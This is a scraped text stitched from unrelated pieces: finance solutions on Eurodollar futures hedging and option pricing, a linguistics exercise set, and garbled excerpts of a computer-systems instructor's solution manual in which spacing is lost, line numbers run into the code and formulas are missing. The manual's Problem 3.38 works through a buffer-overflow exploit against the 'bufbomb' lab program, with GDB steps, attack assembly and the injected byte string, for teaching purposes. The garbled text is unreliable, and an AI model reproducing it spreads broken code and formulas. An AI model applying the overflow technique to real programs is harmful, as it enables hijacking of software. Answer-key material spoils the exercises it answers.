flow mismatch between thefutures and the loan payment is ignored. Therefore, in order to hedge each cash flow, Johnson simply sells 100 contracts for each payment. The strip hedge transforms the floating rate loan into a strip of fixed rate payments. As was done in Part A, the fixed rates are found by adding 200 basis points to the implied forward LIBOR rate indicated by the discount yield of the three different Eurodollar futures contracts. The fixed payments will be equal when the LIBOR term structure is flat for the first year.7. Jacob Bower has a liability that:• has a principal balance of $100 million on June 30, 1998,• accrues interest quarterly starting on June 30, 1998,• pays interest quarterly,• has a one-year term to maturity, and• calculates interest due based on 90-day LIBOR (the London Interbank OfferedRate).Bower wishes to hedge his remaining interest payments against changes in interest rates.Bower has correctly calculated that he needs to sell (short) 300 Eurodollar futures contracts to accomplish the hedge. He is considering the alternative hedging strategies outlined in the following table.Initial Position (6/30/98) in90-Day LIBOR Eurodollar ContractsStrategy A Strategy BContract Month (contracts) (contracts)September 1998 300 100December 1998 0 100March 1999 0 100a. Explain why strategy B is a more effective hedge than strategy A when the yield curveundergoes an instantaneous nonparallel shift.b. Discuss an interest rate scenario in which strategy A would be superior to strategy B.CFA Guideline Answera. Strategy B’s SuperiorityStrategy B is a strip hedge that is constructed by selling (shorting) 100 futures contracts maturing in each of the next three quarters. With the strip hedge in place, each quarter of the coming year is hedged against shifts in interest rates for that quarter. The reason Strategy B will be a more effective hedge than Strategy A for Jacob Bower is that Strategy B is likely to work well whether a parallel shift or a nonparallel shift occurs over the one-year term of Bower’s liability. That is, regardless of what happens to the term structure, Strategy B structures the futures hedge so that the rates reflected by the Eurodollar futures cash price match the applicable rates for the underlying liability-the 90day LIBOR-based rate on Bower’s liability. The same is not true for Strategy A. Because Jacob Bower’s liability carries a floating interest rate that resets quarterly, he needs a strategy that provides a series of three-month hedges. Strategy A will need to be restructured when the three-month September contract expires. In particular, if the yield curve twists upward (futures yields rise more for distant expirations than for near expirations), Strategy A will produce inferior hedge results.b. Scenario in Which Strategy A is SuperiorStrategy A is a stack hedge strategy that initially involves selling (shorting) 300 September contracts. Strategy A is rarely better than Strategy B as a hedging or risk-reduction strategy. Only from the perspective of favorable cash flows is Strategy A better than Strategy B. Such cash flows occur only in certain interest rate scenarios. For example Strategy A will work as well as Strategy B for Bower’s liability if interest rates (instantaneously) change in parallel fashion. Another interest rate scenario where Strategy A outperforms Strategy B is one in which the yield curve rises but with a twist so that futures yields rise more for near expirations than for distant expirations. Upon expiration of the September contract, Bower will have to roll out his hedge by selling 200 December contracts to hedge the remaining interest payments. This action will have the effect that the cash flow from Strategy A will be larger than the cash flow from Strategy B because the appreciation on the 300 short September futures contracts will be larger than the cumulative appreciation in the 300 contracts shorted in Strategy B (i.e., 100 September, 100 December, and 100 March). Consequently, the cash flow from Strategy A will more than offset the increase in the interest payment on the liability, whereas the cash flow from Strategy B will exactly offset the increase in the interest payment on the liability.8. Use the quotations in Exhibit 7.7 to calculate the intrinsic value and the time value of the 97 September Japanese yen American call and put options.Solution: Premium - Intrinsic Value = Time Value97 Sep Call 2.08 - Max[95.80 – 97.00 = - 1.20, 0] = 2.08 cents per 100 yen97 Sep Put 2.47 - Max[97.00 – 95.80 = 1.20, 0] = 1.27 cents per 100 yen9. Assume spot Swiss franc is $0.7000 and the six-month forward rate is $0.6950. What is the minimum price that a six-month American call option with a striking price of $0.6800 should sell for in a rational market? Assume the annualized six-month Eurodollar rate is 3 ½ percent.Solution:Note to Instructor: A complete solution to this problem relies on the boundary expressions presented in footnote 3 of the text of Chapter 7.C a≥Max[(70 - 68), (69.50 - 68)/(1.0175), 0]≥Max[ 2, 1.47, 0] = 2 cents10. Do problem 9 again assuming an American put option instead of a call option.Solution: P a≥Max[(68 - 70), (68 - 69.50)/(1.0175), 0]≥Max[ -2, -1.47, 0] = 0 cents11. Use the European option-pricing models developed in the chapter to value the call of problem 9 and the put of problem 10. Assume the annualized volatility of the Swiss franc is 14.2 percent. This problem can be solved using the FXOPM.xls spreadsheet.Solution:d1 = [ln(69.50/68) + .5(.142)2(.50)]/(.142)√.50 = .2675d2 = d1 - .142√.50 = .2765 - .1004 = .1671N(d1) = .6055N(d2) = .5664N(-d1) = .3945N(-d2) = .4336C e = [69.50(.6055) - 68(.5664)]e-(.035)(.50) = 3.51 centsP e = [68(.4336) - 69.50(.3945)]e-(.035)(.50) = 2.03 cents12. Use the binomial option-pricing model developed in the chapter to value the call of problem 9.The volatility of the Swiss franc is 14.2 percent.Solution: The spot rate at T will be either 77.39¢ = 70.00¢(1.1056) or 63.32¢ = 70.00¢(.9045), where u = e.142 .50 = 1.1056 and d = 1/u = .9045. At the exercise price of E = 68, the option will only be exercised at time T if the Swiss franc appreciates; its exercise value would be C uT= 9.39¢ = 77.39¢ - 68. If the Swiss franc depreciates it would not be rational to exercise the option; its value would be C dT = 0.The hedge ratio is h = (9.39 – 0)/(77.39 – 63.32) = .6674.Thus, the call premium is:C0 = Max{[69.50(.6674) – 68((70/68)(.6674 – 1) +1)]/(1.0175), 70 – 68}= Max[1.64, 2] = 2 cents per SF.MINI CASE: THE OPTIONS SPECULATORA speculator is considering the purchase of five three-month Japanese yen call options with a striking price of 96 cents per 100 yen. The premium is 1.35 cents per 100 yen. The spot price is 95.28 cents per 100 yen and the 90-day forward rate is 95.71 cents. The speculator believes the yen will appreciate to $1.00 per 100 yen over the next three months. As the speculator’s assistant, you have been asked to prepare the following:1. Graph the call option cash flow schedule.2. Determine the speculator’s profit if the yen appreciates to $1.00/100 yen.3. Determine the speculator’s profit if the yen only appreciates to the forward rate.4. Determine the future spot price at which the speculator will only break even.Suggested Solution to the Options Speculator:1.-2. (5 x ¥6,250,000) x [(100 - 96) - 1.35]/10000 = $8,281.25.3. Since the option expires out-of-the-money, the speculator will let the option expire worthless. He will only lose the option premium.4. S T = E + C = 96 + 1.35 = 97.35 cents per 100 yen.。
72-习题作业-Chapter 7(Language, Culture, and Society)
Chapter 7 Language, Culture, and SocietyI. In each question there are four choices. Decide which one would be the answer to the question, or best completes the sentence.1. Which of the following statements is not the concern of sociolinguistics?A. The language a person uses reveals his social background.B. There exist social norms that determine the type of language to be used on acertain occasions.C. How does the human mind work when they use language.D. To investigate the social aspect of language.2. According to ___________ , the greater the structural differentiation of languages is, the more diverse their conceptualization of the world will be.A. sexismB. differenceC. determinismD. relativism3. The Sapir-Whorf hypothesis is about .A. language and thoughtB. language and translationC. grammatical structureD. second language acquisition4. Linguistic ___________ means that many differences between men and women in language use are brought about by nothing less than women’s place in society.A. sexismB. differenceC. determinismD. relativism5.Sociolinguistics of language examines issues related to the subject from amore___________ perspective.A. societalB. linguisticC. PsychologicalD .cultural6. A difference in a speech between men and women is “___________ difference”.A. genderB. cultureC. societyD. language7. V ariationist linguistics is a branch of linguistics which studies the relationship between speaker’s social status and ___________ variations.A. LexicalB. SyntacticC. PhonologicalD. Pragmatic8.The ___________ of Sapir-Wholf hypothesis suggest that there is a correlation between language,culture and thought,but the cross-cultural differences thus produced in our way of thinking are relative, rather than categorical.A. strong versionB. weak versionC. oldD. new9.___________ aims to look at the relationship between language and culture in a speech community.A. AnthropologicalB. CulturalC. SocietalD. Psychological.10.___________is a speech variety used by a particular group of people, usually sharing the same occupations (e.g. doctors, lawyers) or the same interests.A. DialectB. RegisterC. StyleD. ModeII .Fill in each of the following blanks with a proper word.11.The ________ of discourse refers to what is happening , including what is beingtalked about.12. Social ________refers to the environment in which meanings are exchanged.13. Speech community refers to a group of people who form a community, e.g. avillage,a religion,a nation,and who have at least one speech________in common.14. Ethnography of ________ is the study of the place of language in culture andsociety.15. “S” in “SPEAKING” refers to ________.16.Sapir-Wholf hypothesis is alternatively referred to as linguistic________andlinguistic relativism.17.________communication is the exchange of ideas,information,etc.betweenpersons from different cultural backgrounds.18.________dialect is a variety of a language(a DIALECT)used by peoplebelonging to a particular social class.19.According to Greenberg, when we search for linguistic ________, we’d betterbegin with the similarities possessed by most languages,instead of their differences.20. ________ refers to the use of at least two languages either by an individual or by agroup of speakers, such as the inhabitants of a particular region or nation.III. Decide whether each of the following statement is true or false.21. Linguistic competence was introduced in the 1970s by Hymes. （ ）22. Register and dialect have different foci. （ ）23.The theory of context of situation does not take the non-verbal actions of theparticipants into account. （ ）24. Code-switch takes place when a person starts speaking one language and thenchanges to another one in the middle of his speech, or sometimes even in the middle of a sentence. （ ）25. The tenor of discourse refers to what part the language is playing in a particularsituation of communication, for example, in what way the language is organized to convey the meaning,and what channel is used:written or spoken or a combination of the two. （ ）26. Code-mixing is a mixing of two codes or languages, usually without a change oftopic. （ ）27. Idiolect is regarded as a language system used by a certain speech community. （）28. Both quantitative and qualitative research approaches can be used in the study ofsociolinguistics. （ ）29. Black English is a dialect of English, which is acceptable in the United States. （）30.Biological as well as social factors can account for the differences between menand women in the use of language. （ ）IV. Define the following terms.31. sociolinguistics32. Sapir-Wholf hypothesis33. context of situation34. communicative competence35. sociolinguistic study of society36. dialect37. multilingualism38. language variationnguage planning40.code selection。
answer
Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not define the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least significant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most significant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we define y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Thefinal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/floatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughfloating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEfloating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insignificant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computefirst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overflow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return afixed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Wefind the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Wefind the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overflow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between thefloating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR 